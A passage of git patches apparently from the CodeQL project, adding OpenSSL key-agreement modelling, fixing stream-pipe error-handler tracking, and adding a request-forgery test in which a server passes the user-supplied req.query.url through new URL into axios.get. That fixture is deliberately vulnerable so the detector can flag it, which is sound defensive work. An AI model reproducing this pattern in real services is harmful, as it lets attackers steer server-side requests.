b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/HashAlgorithmInstance.qll @@ -76,7 +76,11 @@ class KnownOpenSSLHashConstantAlgorithmInstance extends OpenSSLAlgorithmInstance not knownOpenSSLConstantToHashFamilyType(this, _) and result = Crypto::OtherHashType() } - override string getRawHashAlgorithmName() { result = this.(Literal).getValue().toString() } + override string getRawHashAlgorithmName() { + result = this.(Literal).getValue().toString() + or + result = this.(Call).getTarget().getName() + } override int getFixedDigestLength() { this.(KnownOpenSSLHashAlgorithmConstant).getExplicitDigestLength() = result diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KeyAgreementAlgorithmInstance.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KeyAgreementAlgorithmInstance.qll new file mode 100644 index 000000000000..698d031fe45d --- /dev/null +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KeyAgreementAlgorithmInstance.qll @@ -0,0 +1,63 @@ +import cpp +private import experimental.quantum.Language +private import KnownAlgorithmConstants +private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumers +private import experimental.quantum.OpenSSL.AlgorithmInstances.OpenSSLAlgorithmInstanceBase +private import AlgToAVCFlow + +predicate knownOpenSSLConstantToKeyAgreementFamilyType( + KnownOpenSSLKeyAgreementAlgorithmConstant e, Crypto::TKeyAgreementType type +) { + exists(string name | + name = e.getNormalizedName() and + ( + name = "ECDH" and type = Crypto::ECDH() + or + name = "DH" and type = Crypto::DH() + or + name = "EDH" and type = Crypto::EDH() + or + name = "ESDH" and type = Crypto::EDH() + ) + ) +} + +class KnownOpenSSLHashConstantAlgorithmInstance extends OpenSSLAlgorithmInstance, + Crypto::KeyAgreementAlgorithmInstance instanceof KnownOpenSSLKeyAgreementAlgorithmConstant +{ + OpenSSLAlgorithmValueConsumer getterCall; + + KnownOpenSSLHashConstantAlgorithmInstance() { + // Two possibilities: + // 1) The source is a literal and flows to a getter, then we know we have an instance + // 2) The source is a KnownOpenSSLAlgorithm is call, and we know we have an instance immediately from that + // Possibility 1: + this instanceof Literal and + exists(DataFlow::Node src, DataFlow::Node sink | + // Sink is an argument to a CipherGetterCall + sink = getterCall.(OpenSSLAlgorithmValueConsumer).getInputNode() and + // Source is `this` + src.asExpr() = this and + // This traces to a getter + KnownOpenSSLAlgorithmToAlgorithmValueConsumerFlow::flow(src, sink) + ) + or + // Possibility 2: + this instanceof DirectAlgorithmValueConsumer and getterCall = this + } + + override OpenSSLAlgorithmValueConsumer getAVC() { result = getterCall } + + override Crypto::TKeyAgreementType getKeyAgreementType() { + knownOpenSSLConstantToKeyAgreementFamilyType(this, result) + or + not knownOpenSSLConstantToKeyAgreementFamilyType(this, _) and + result = Crypto::OtherKeyAgreementType() + } + + override string getRawKeyAgreementAlgorithmName() { + result = this.(Literal).getValue().toString() + or + result = this.(Call).getTarget().getName() + } +} diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KnownAlgorithmConstants.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KnownAlgorithmConstants.qll index 402fbac02ecb..7b2b9549d001 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KnownAlgorithmConstants.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KnownAlgorithmConstants.qll @@ -67,6 +67,10 @@ class KnownOpenSSLSignatureAlgorithmConstant extends KnownOpenSSLAlgorithmConsta KnownOpenSSLSignatureAlgorithmConstant() { resolveAlgorithmFromExpr(this, _, "SIGNATURE") } } +class KnownOpenSSLKeyAgreementAlgorithmConstant extends KnownOpenSSLAlgorithmConstant { + KnownOpenSSLKeyAgreementAlgorithmConstant() { resolveAlgorithmFromExpr(this, _, "KEY_AGREEMENT") } +} + /** * Resolves a call to a 'direct algorithm getter', e.g., EVP_MD5() * This approach to fetching algorithms was used in OpenSSL 1.0.2. @@ -141,6 +145,14 @@ predicate customAliases(string target, string alias) { * The `target` and `alias` are converted to lowercase to be of a standard form. */ predicate defaultAliases(string target, string alias) { + // "DH" and "DHX" are not aliases in the traditional sense, + // i.e., they are not registered as aliases explicitly, + // rather they appear in common usage, and experiments reveal their + // NID matches those of the `dhKeyAgreement` and `x9.42 dh` algorithms respectively. + alias = "dh" and target = "dhKeyAgreement" + or + alias = "dhx" and target = "x9.42 dh" + or alias = "aes128" and target = "aes-128-cbc" or alias = "aes192" and target = "aes-192-cbc" @@ -236,6 +248,10 @@ predicate defaultAliases(string target, string alias) { * `algType` is the type of algorithm (e.g., "SYMMETRIC_ENCRYPTION") */ predicate knownOpenSSLAlgorithmLiteral(string name, int nid, string normalized, string algType) { + name = "dhKeyAgreement" and nid = 28 and normalized = "DH" and algType = "KEY_AGREEMENT" + or + name = "x9.42 dh" and nid = 29 and normalized = "DH" and algType = "KEY_AGREEMENT" + or name = "rsa" and nid = 19 and normalized = "RSA" and algType = "ASYMMETRIC_ENCRYPTION" or name = "prime192v1" and nid = 409 and normalized = "PRIME192V1" and algType = "ELLIPTIC_CURVE" @@ -868,6 +884,8 @@ predicate knownOpenSSLAlgorithmLiteral(string name, int nid, string normalized, or name = "id-alg-dh-sig-hmac-sha1" and nid = 325 and normalized = "SHA1" and algType = "HASH" or + name = "id-alg-dh-sig-hmac-sha1" and nid = 325 and normalized = "DH" and algType = "KEY_AGREEMENT" + or name = "aes-128-ofb" and nid = 420 and normalized = "AES-128" and algType = "SYMMETRIC_ENCRYPTION" or name = "aes-128-ofb" and nid = 420 and normalized = "OFB" and algType = "BLOCK_MODE" @@ -1369,9 +1387,9 @@ predicate knownOpenSSLAlgorithmLiteral(string name, int nid, string normalized, or name = "kx-rsa" and nid = 1037 and normalized = "RSA" and algType = "ASYMMETRIC_ENCRYPTION" or - name = "kx-ecdhe" and nid = 1038 and normalized = "ECDH" and algType = "KEY_EXCHANGE" + name = "kx-ecdhe" and nid = 1038 and normalized = "ECDH" and algType = "KEY_AGREEMENT" or - name = "kx-ecdhe-psk" and nid = 1040 and normalized = "ECDH" and algType = "KEY_EXCHANGE" + name = "kx-ecdhe-psk" and nid = 1040 and normalized = "ECDH" and algType = "KEY_AGREEMENT" or name = "kx-rsa-psk" and nid = 1042 and normalized = "RSA" and algType = "ASYMMETRIC_ENCRYPTION" or @@ -1679,11 +1697,11 @@ predicate knownOpenSSLAlgorithmLiteral(string name, int nid, string normalized, or name = "x448" and nid = 1035 and normalized = "X448" and algType = "ELLIPTIC_CURVE" or - name = "x448" and nid = 1035 and normalized = "X448" and algType = "KEY_EXCHANGE" + name = "x448" and nid = 1035 and normalized = "X448" and algType = "KEY_AGREEMENT" or name = "x25519" and nid = 1034 and normalized = "X25519" and algType = "ELLIPTIC_CURVE" or - name = "x25519" and nid = 1034 and normalized = "X25519" and algType = "KEY_EXCHANGE" + name = "x25519" and nid = 1034 and normalized = "X25519" and algType = "KEY_AGREEMENT" or name = "authecdsa" and nid = 1047 and normalized = "ECDSA" and algType = "SIGNATURE" or @@ -1783,51 +1801,101 @@ predicate knownOpenSSLAlgorithmLiteral(string name, int nid, string normalized, normalized = "SHA1" and algType = "HASH" or + name = "dhsinglepass-cofactordh-sha1kdf-scheme" and + nid = 941 and + normalized = "DH" and + algType = "KEY_AGREEMENT" + or name = "dhsinglepass-cofactordh-sha224kdf-scheme" and nid = 942 and normalized = "SHA-224" and algType = "HASH" or + name = "dhsinglepass-cofactordh-sha224kdf-scheme" and + nid = 942 and + normalized = "DH" and + algType = "KEY_AGREEMENT" + or name = "dhsinglepass-cofactordh-sha256kdf-scheme" and nid = 943 and normalized = "SHA-256" and algType = "HASH" or + name = "dhsinglepass-cofactordh-sha256kdf-scheme" and + nid = 943 and + normalized = "DH" and + algType = "KEY_AGREEMENT" + or name = "dhsinglepass-cofactordh-sha384kdf-scheme" and nid = 944 and normalized = "SHA-384" and algType = "HASH" or + name = "dhsinglepass-cofactordh-sha384kdf-scheme" and + nid = 944 and + normalized = "DH" and + algType = "KEY_AGREEMENT" + or name = "dhsinglepass-cofactordh-sha512kdf-scheme" and nid = 945 and normalized = "SHA-512" and algType = "HASH" or + name = "dhsinglepass-cofactordh-sha512kdf-scheme" and + nid = 945 and + normalized = "DH" and + algType = "KEY_AGREEMENT" + or name = "dhsinglepass-stddh-sha1kdf-scheme" and nid = 936 and normalized = "SHA1" and algType = "HASH" or + name = "dhsinglepass-stddh-sha1kdf-scheme" and + nid = 936 and + normalized = "DH" and + algType = "KEY_AGREEMENT" + or name = "dhsinglepass-stddh-sha224kdf-scheme" and nid = 937 and normalized = "SHA-224" and algType = "HASH" or + name = "dhsinglepass-stddh-sha224kdf-scheme" and + nid = 937 and + normalized = "DH" and + algType = "KEY_AGREEMENT" + or name = "dhsinglepass-stddh-sha256kdf-scheme" and nid = 938 and normalized = "SHA-256" and algType = "HASH" or + name = "dhsinglepass-stddh-sha256kdf-scheme" and + nid = 938 and + normalized = "DH" and + algType = "KEY_AGREEMENT" + or name = "dhsinglepass-stddh-sha384kdf-scheme" and nid = 939 and normalized = "SHA-384" and algType = "HASH" or + name = "dhsinglepass-stddh-sha384kdf-scheme" and + nid = 939 and + normalized = "DH" and + algType = "KEY_AGREEMENT" + or name = "dhsinglepass-stddh-sha512kdf-scheme" and nid = 940 and normalized = "SHA-512" and algType = "HASH" or + name = "dhsinglepass-stddh-sha512kdf-scheme" and + nid = 940 and + normalized = "DH" and + algType = "KEY_AGREEMENT" + or name = "dsa-old" and nid = 67 and normalized = "DSA" and algType = "SIGNATURE" or name = "dsa-sha" and nid = 66 and normalized = "DSA" and algType = "SIGNATURE" @@ -1987,7 +2055,7 @@ predicate knownOpenSSLAlgorithmLiteral(string name, int nid, string normalized, normalized = "GOST" and algType = "SYMMETRIC_ENCRYPTION" or - name = "gost r 34.10-2001 dh" and + name = "gost r 34.10-2001 dh" and // TODO: review this algorithm nid = 817 and normalized = "GOST" and algType = "SYMMETRIC_ENCRYPTION" @@ -2057,7 +2125,7 @@ predicate knownOpenSSLAlgorithmLiteral(string name, int nid, string normalized, normalized = "GOST" and algType = "SYMMETRIC_ENCRYPTION" or - name = "gost r 34.10-94 dh" and + name = "gost r 34.10-94 dh" and // TODO: review this algorithm nid = 818 and normalized = "GOST" and algType = "SYMMETRIC_ENCRYPTION" @@ -2272,7 +2340,7 @@ predicate knownOpenSSLAlgorithmLiteral(string name, int nid, string normalized, normalized = "GOSTR34102001" and algType = "SYMMETRIC_ENCRYPTION" or - name = "id-gostr3410-2001dh" and + name = "id-gostr3410-2001dh" and // TODO: review this algorithm nid = 817 and normalized = "GOSTR34102001" and algType = "SYMMETRIC_ENCRYPTION" @@ -2337,7 +2405,7 @@ predicate knownOpenSSLAlgorithmLiteral(string name, int nid, string normalized, normalized = "GOSTR341094" and algType = "SYMMETRIC_ENCRYPTION" or - name = "id-gostr3410-94dh" and + name = "id-gostr3410-94dh" and // TODO: review this algorithm nid = 818 and normalized = "GOSTR341094" and algType = "SYMMETRIC_ENCRYPTION" @@ -2421,16 +2489,31 @@ predicate knownOpenSSLAlgorithmLiteral(string name, int nid, string normalized, normalized = "3DES" and algType = "SYMMETRIC_ENCRYPTION" or + name = "id-smime-alg-esdhwith3des" and + nid = 241 and + normalized = "ESDH" and + algType = "KEY_AGREEMENT" + or name = "id-smime-alg-esdhwithrc2" and nid = 242 and normalized = "RC2" and algType = "SYMMETRIC_ENCRYPTION" or + name = "id-smime-alg-esdhwithrc2" and + nid = 242 and + normalized = "ESDH" and + algType = "KEY_AGREEMENT" + or name = "id-smime-alg-rc2wrap" and nid = 244 and normalized = "RC2" and algType = "SYMMETRIC_ENCRYPTION" or + name = "id_smime_alg_esdh" and + nid = 245 and + normalized = "ESDH" and + algType = "KEY_AGREEMENT" + or name = "id-tc26-gost-28147-param-z" and nid = 1003 and normalized = "GOST28147" and @@ -2476,9 +2559,9 @@ predicate knownOpenSSLAlgorithmLiteral(string name, int nid, string normalized, normalized = "GOST34102012" and algType = "SYMMETRIC_ENCRYPTION" or - name = "kxecdhe" and nid = 1038 and normalized = "ECDH" and algType = "KEY_EXCHANGE" + name = "kxecdhe" and nid = 1038 and normalized = "ECDH" and algType = "KEY_AGREEMENT" or - name = "kxecdhe-psk" and nid = 1040 and normalized = "ECDH" and algType = "KEY_EXCHANGE" + name = "kxecdhe-psk" and nid = 1040 and normalized = "ECDH" and algType = "KEY_AGREEMENT" or name = "kxgost" and nid = 1045 and normalized = "GOST" and algType = "SYMMETRIC_ENCRYPTION" or diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/PaddingAlgorithmInstance.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/PaddingAlgorithmInstance.qll index 8db2dc3ab4b7..b4c34607e450 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/PaddingAlgorithmInstance.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/PaddingAlgorithmInstance.qll @@ -90,7 +90,11 @@ class KnownOpenSSLPaddingConstantAlgorithmInstance extends OpenSSLAlgorithmInsta isPaddingSpecificConsumer = true } - override string getRawPaddingAlgorithmName() { result = this.(Literal).getValue().toString() } + override string getRawPaddingAlgorithmName() { + result = this.(Literal).getValue().toString() + or + result = this.(Call).getTarget().getName() + } override OpenSSLAlgorithmValueConsumer getAVC() { result = getterCall } diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/KEMAlgorithmValueConsumer.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/KEMAlgorithmValueConsumer.qll new file mode 100644 index 000000000000..e66beccd301a --- /dev/null +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/KEMAlgorithmValueConsumer.qll @@ -0,0 +1,28 @@ +import cpp +private import experimental.quantum.Language +private import semmle.code.cpp.dataflow.new.DataFlow +private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumerBase +private import experimental.quantum.OpenSSL.AlgorithmInstances.OpenSSLAlgorithmInstances + +abstract class KEMAlgorithmValueConsumer extends OpenSSLAlgorithmValueConsumer { } + +class EVPKEMAlgorithmValueConsumer extends KEMAlgorithmValueConsumer { + DataFlow::Node valueArgNode; + DataFlow::Node resultNode; + + EVPKEMAlgorithmValueConsumer() { + resultNode.asExpr() = this and + ( + this.(Call).getTarget().getName() = "EVP_KEM_fetch" and + valueArgNode.asExpr() = this.(Call).getArgument(1) + ) + } + + override DataFlow::Node getResultNode() { result = resultNode } + + override Crypto::ConsumerInputDataFlowNode getInputNode() { result = valueArgNode } + + override Crypto::AlgorithmInstance getAKnownAlgorithmSource() { + exists(OpenSSLAlgorithmInstance i | i.getAVC() = this and result = i) + } +} diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/KeyExchangeAlgorithmValueConsumer.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/KeyExchangeAlgorithmValueConsumer.qll new file mode 100644 index 000000000000..b5f24ec875ad --- /dev/null +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/KeyExchangeAlgorithmValueConsumer.qll @@ -0,0 +1,28 @@ +import cpp +private import experimental.quantum.Language +private import semmle.code.cpp.dataflow.new.DataFlow +private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumerBase +private import experimental.quantum.OpenSSL.AlgorithmInstances.OpenSSLAlgorithmInstances + +abstract class KeyExchangeAlgorithmValueConsumer extends OpenSSLAlgorithmValueConsumer { } + +class EVPKeyExchangeAlgorithmValueConsumer extends KeyExchangeAlgorithmValueConsumer { + DataFlow::Node valueArgNode; + DataFlow::Node resultNode; + + EVPKeyExchangeAlgorithmValueConsumer() { + resultNode.asExpr() = this and + ( + this.(Call).getTarget().getName() = "EVP_KEYEXCH_fetch" and + valueArgNode.asExpr() = this.(Call).getArgument(1) + ) + } + + override DataFlow::Node getResultNode() { result = resultNode } + + override Crypto::ConsumerInputDataFlowNode getInputNode() { result = valueArgNode } + + override Crypto::AlgorithmInstance getAKnownAlgorithmSource() { + exists(OpenSSLAlgorithmInstance i | i.getAVC() = this and result = i) + } +} diff --git a/shared/quantum/codeql/quantum/experimental/Model.qll b/shared/quantum/codeql/quantum/experimental/Model.qll index 5370f72ef47b..02177db9d4b6 100644 --- a/shared/quantum/codeql/quantum/experimental/Model.qll +++ b/shared/quantum/codeql/quantum/experimental/Model.qll @@ -1132,8 +1132,10 @@ module CryptographyBase Input> { DH() or // Diffie-Hellman EDH() or // Ephemeral Diffie-Hellman ECDH() or // Elliptic Curve Diffie-Hellman + // NOTE: for now ESDH is considered simply EDH + //ESDH() or // Ephemeral-Static Diffie-Hellman // Note: x25519 and x448 are applications of ECDH - UnknownKeyAgreementType() + OtherKeyAgreementType() abstract class KeyAgreementAlgorithmInstance extends AlgorithmInstance { abstract TKeyAgreementType getKeyAgreementType(); From f843cc02f6ab283c8c34836afae84e3c7b2ab6db Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Fri, 30 May 2025 18:08:04 +0200 Subject: [PATCH 469/535] Fix false positives in stream pipe analysis by improving error handler tracking via property access. --- .../ql/src/Quality/UnhandledStreamPipe.ql | 24 ++++++++++++++++--- .../Quality/UnhandledStreamPipe/test.expected | 2 +- .../Quality/UnhandledStreamPipe/tst.js | 4 ++-- 3 files changed, 24 insertions(+), 6 deletions(-) diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.ql b/javascript/ql/src/Quality/UnhandledStreamPipe.ql index 2c5716ef527c..d3a0af8786e1 100644 --- a/javascript/ql/src/Quality/UnhandledStreamPipe.ql +++ b/javascript/ql/src/Quality/UnhandledStreamPipe.ql @@ -218,7 +218,17 @@ private DataFlow::SourceNode sourceStreamRef(PipeCall pipeCall) { * Holds if the source stream of the given pipe call has an `error` handler registered. */ private predicate hasErrorHandlerRegistered(PipeCall pipeCall) { - sourceStreamRef(pipeCall).getAMethodCall(_) instanceof ErrorHandlerRegistration + exists(DataFlow::Node stream | + stream = sourceStreamRef(pipeCall).getALocalUse() and + ( + stream.(DataFlow::SourceNode).getAMethodCall(_) instanceof ErrorHandlerRegistration + or + exists(DataFlow::SourceNode base, string propName | + stream = base.getAPropertyRead(propName) and + base.getAPropertyRead(propName).getAMethodCall(_) instanceof ErrorHandlerRegistration + ) + ) + ) or hasPlumber(pipeCall) } @@ -262,8 +272,16 @@ private predicate hasNonStreamSourceLikeUsage(PipeCall pipeCall) { * Holds if the pipe call destination stream has an error handler registered. */ private predicate hasErrorHandlerDownstream(PipeCall pipeCall) { - exists(ErrorHandlerRegistration handler | - handler.getReceiver().getALocalSource() = destinationStreamRef(pipeCall) + exists(DataFlow::SourceNode stream | + stream = destinationStreamRef(pipeCall) and + ( + exists(ErrorHandlerRegistration handler | handler.getReceiver().getALocalSource() = stream) + or + exists(DataFlow::SourceNode base, string propName | + stream = base.getAPropertyRead(propName) and + base.getAPropertyRead(propName).getAMethodCall(_) instanceof ErrorHandlerRegistration + ) + ) ) } diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected index 6d6012c0005e..99d6ed002d92 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected @@ -12,9 +12,9 @@ | test.js:182:17:182:40 | notStre ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:192:5:192:32 | copyStr ... nation) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | tst.js:8:5:8:21 | source.pipe(gzip) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| tst.js:29:5:29:40 | wrapper ... Stream) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | tst.js:37:21:37:56 | wrapper ... Stream) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | tst.js:44:5:44:40 | wrapper ... Stream) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| tst.js:52:5:52:37 | source. ... Stream) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | tst.js:59:18:59:39 | stream. ... Stream) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | tst.js:73:5:73:40 | wrapper ... Stream) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | tst.js:111:5:111:26 | stream. ... Stream) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/tst.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/tst.js index 01ad872a7485..3d962974fb89 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/tst.js +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/tst.js @@ -26,7 +26,7 @@ function zip() { function zip1() { const zipStream = createWriteStream(zipPath); let wrapper = new StreamWrapper(); - wrapper.outputStream.pipe(zipStream); // $SPURIOUS:Alert + wrapper.outputStream.pipe(zipStream); wrapper.outputStream.on('error', e); zipStream.on('error', e); } @@ -49,7 +49,7 @@ function zip3() { const zipStream = createWriteStream(zipPath); let wrapper = new StreamWrapper(); let source = getStream(); - source.pipe(wrapper.outputStream); // $MISSING:Alert + source.pipe(wrapper.outputStream); // $Alert wrapper.outputStream.on('error', e); } From 19cc3e335f70bcce7f7507d2542f50358f752e9b Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Mon, 26 May 2025 15:56:19 +0200 Subject: [PATCH 470/535] JS: Add test case for `RequestForgery` with url wrapped via package `URL` --- .../ql/test/query-tests/Security/CWE-918/serverSide.js | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/javascript/ql/test/query-tests/Security/CWE-918/serverSide.js b/javascript/ql/test/query-tests/Security/CWE-918/serverSide.js index 3f9392c5d992..3ed8d7c4a694 100644 --- a/javascript/ql/test/query-tests/Security/CWE-918/serverSide.js +++ b/javascript/ql/test/query-tests/Security/CWE-918/serverSide.js @@ -133,3 +133,12 @@ var server2 = http.createServer(function(req, res) { var myEncodedUrl = `${something}/bla/${encodeURIComponent(tainted)}`; axios.get(myEncodedUrl); }) + +var server2 = http.createServer(function(req, res) { + const { URL } = require('url'); + const input = req.query.url; // $MISSING:Source[js/request-forgery] + const target = new URL(input); + axios.get(target.toString()); // $MISSING:Alert[js/request-forgery] + axios.get(target); // $MISSING:Alert[js/request-forgery] + axios.get(target.href); // $MISSING:Alert[js/request-forgery] +}); From b9b62fa1c155c9495097e5e4ceee39f14c05d291 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Fri, 30 May 2025 18:32:02 +0200 Subject: [PATCH 471/535] JS: Add `URL` from `url` package constructor taint step for request forgery detection --- .../dataflow/RequestForgeryCustomizations.qll | 7 ++++++ .../Security/CWE-918/RequestForgery.expected | 22 +++++++++++++++++++ .../Security/CWE-918/serverSide.js | 8 +++---- 3 files changed, 33 insertions(+), 4 deletions(-) diff --git a/javascript/ql/lib/semmle/javascript/security/dataflow/RequestForgeryCustomizations.qll b/javascript/ql/lib/semmle/javascript/security/dataflow/RequestForgeryCustomizations.qll index 6cc6f6e798c0..8d182d116c6d 100644 --- a/javascript/ql/lib/semmle/javascript/security/dataflow/RequestForgeryCustomizations.qll +++ b/javascript/ql/lib/semmle/javascript/security/dataflow/RequestForgeryCustomizations.qll @@ -82,6 +82,13 @@ module RequestForgery { pred = url.getArgument(0) ) or + exists(DataFlow::NewNode url | + url = API::moduleImport("url").getMember("URL").getAnInstantiation() + | + succ = url and + pred = url.getArgument(0) + ) + or exists(HtmlSanitizerCall call | pred = call.getInput() and succ = call diff --git a/javascript/ql/test/query-tests/Security/CWE-918/RequestForgery.expected b/javascript/ql/test/query-tests/Security/CWE-918/RequestForgery.expected index b3d3055cd868..dde72095df16 100644 --- a/javascript/ql/test/query-tests/Security/CWE-918/RequestForgery.expected +++ b/javascript/ql/test/query-tests/Security/CWE-918/RequestForgery.expected @@ -30,6 +30,9 @@ | serverSide.js:117:20:117:30 | new ws(url) | serverSide.js:115:25:115:35 | request.url | serverSide.js:117:27:117:29 | url | The $@ of this request depends on a $@. | serverSide.js:117:27:117:29 | url | URL | serverSide.js:115:25:115:35 | request.url | user-provided value | | serverSide.js:125:5:128:6 | axios({ ... \\n }) | serverSide.js:123:29:123:35 | req.url | serverSide.js:127:14:127:20 | tainted | The $@ of this request depends on a $@. | serverSide.js:127:14:127:20 | tainted | URL | serverSide.js:123:29:123:35 | req.url | user-provided value | | serverSide.js:131:5:131:20 | axios.get(myUrl) | serverSide.js:123:29:123:35 | req.url | serverSide.js:131:15:131:19 | myUrl | The $@ of this request depends on a $@. | serverSide.js:131:15:131:19 | myUrl | URL | serverSide.js:123:29:123:35 | req.url | user-provided value | +| serverSide.js:141:3:141:30 | axios.g ... ring()) | serverSide.js:139:17:139:29 | req.query.url | serverSide.js:141:13:141:29 | target.toString() | The $@ of this request depends on a $@. | serverSide.js:141:13:141:29 | target.toString() | URL | serverSide.js:139:17:139:29 | req.query.url | user-provided value | +| serverSide.js:142:3:142:19 | axios.get(target) | serverSide.js:139:17:139:29 | req.query.url | serverSide.js:142:13:142:18 | target | The $@ of this request depends on a $@. | serverSide.js:142:13:142:18 | target | URL | serverSide.js:139:17:139:29 | req.query.url | user-provided value | +| serverSide.js:143:3:143:24 | axios.g ... t.href) | serverSide.js:139:17:139:29 | req.query.url | serverSide.js:143:13:143:23 | target.href | The $@ of this request depends on a $@. | serverSide.js:143:13:143:23 | target.href | URL | serverSide.js:139:17:139:29 | req.query.url | user-provided value | edges | Request/app/api/proxy/route2.serverSide.ts:4:9:4:15 | { url } | Request/app/api/proxy/route2.serverSide.ts:4:9:4:34 | url | provenance | | | Request/app/api/proxy/route2.serverSide.ts:4:9:4:34 | url | Request/app/api/proxy/route2.serverSide.ts:5:27:5:29 | url | provenance | | @@ -106,6 +109,15 @@ edges | serverSide.js:123:29:123:35 | req.url | serverSide.js:123:19:123:42 | url.par ... , true) | provenance | | | serverSide.js:130:9:130:45 | myUrl | serverSide.js:131:15:131:19 | myUrl | provenance | | | serverSide.js:130:37:130:43 | tainted | serverSide.js:130:9:130:45 | myUrl | provenance | | +| serverSide.js:139:9:139:29 | input | serverSide.js:140:26:140:30 | input | provenance | | +| serverSide.js:139:17:139:29 | req.query.url | serverSide.js:139:9:139:29 | input | provenance | | +| serverSide.js:140:9:140:31 | target | serverSide.js:141:13:141:18 | target | provenance | | +| serverSide.js:140:9:140:31 | target | serverSide.js:142:13:142:18 | target | provenance | | +| serverSide.js:140:9:140:31 | target | serverSide.js:143:13:143:18 | target | provenance | | +| serverSide.js:140:18:140:31 | new URL(input) | serverSide.js:140:9:140:31 | target | provenance | | +| serverSide.js:140:26:140:30 | input | serverSide.js:140:18:140:31 | new URL(input) | provenance | Config | +| serverSide.js:141:13:141:18 | target | serverSide.js:141:13:141:29 | target.toString() | provenance | | +| serverSide.js:143:13:143:18 | target | serverSide.js:143:13:143:23 | target.href | provenance | | nodes | Request/app/api/proxy/route2.serverSide.ts:4:9:4:15 | { url } | semmle.label | { url } | | Request/app/api/proxy/route2.serverSide.ts:4:9:4:34 | url | semmle.label | url | @@ -199,4 +211,14 @@ nodes | serverSide.js:130:9:130:45 | myUrl | semmle.label | myUrl | | serverSide.js:130:37:130:43 | tainted | semmle.label | tainted | | serverSide.js:131:15:131:19 | myUrl | semmle.label | myUrl | +| serverSide.js:139:9:139:29 | input | semmle.label | input | +| serverSide.js:139:17:139:29 | req.query.url | semmle.label | req.query.url | +| serverSide.js:140:9:140:31 | target | semmle.label | target | +| serverSide.js:140:18:140:31 | new URL(input) | semmle.label | new URL(input) | +| serverSide.js:140:26:140:30 | input | semmle.label | input | +| serverSide.js:141:13:141:18 | target | semmle.label | target | +| serverSide.js:141:13:141:29 | target.toString() | semmle.label | target.toString() | +| serverSide.js:142:13:142:18 | target | semmle.label | target | +| serverSide.js:143:13:143:18 | target | semmle.label | target | +| serverSide.js:143:13:143:23 | target.href | semmle.label | target.href | subpaths diff --git a/javascript/ql/test/query-tests/Security/CWE-918/serverSide.js b/javascript/ql/test/query-tests/Security/CWE-918/serverSide.js index 3ed8d7c4a694..aec8c4195c83 100644 --- a/javascript/ql/test/query-tests/Security/CWE-918/serverSide.js +++ b/javascript/ql/test/query-tests/Security/CWE-918/serverSide.js @@ -136,9 +136,9 @@ var server2 = http.createServer(function(req, res) { var server2 = http.createServer(function(req, res) { const { URL } = require('url'); - const input = req.query.url; // $MISSING:Source[js/request-forgery] + const input = req.query.url; // $Source[js/request-forgery] const target = new URL(input); - axios.get(target.toString()); // $MISSING:Alert[js/request-forgery] - axios.get(target); // $MISSING:Alert[js/request-forgery] - axios.get(target.href); // $MISSING:Alert[js/request-forgery] + axios.get(target.toString()); // $Alert[js/request-forgery] + axios.get(target); // $Alert[js/request-forgery] + axios.get(target.href); // $Alert[js/request-forgery] }); From 0b6a747737f9826a7006d93c6a3a119d3def8a70 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Fri, 30 May 2025 18:33:59 +0200 Subject: [PATCH 472/535] Added change note --- .../ql/lib/change-notes/2025-05-30-url-package-taint-step.md | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 javascript/ql/lib/change-notes/2025-05-30-url-package-taint-step.md diff --git 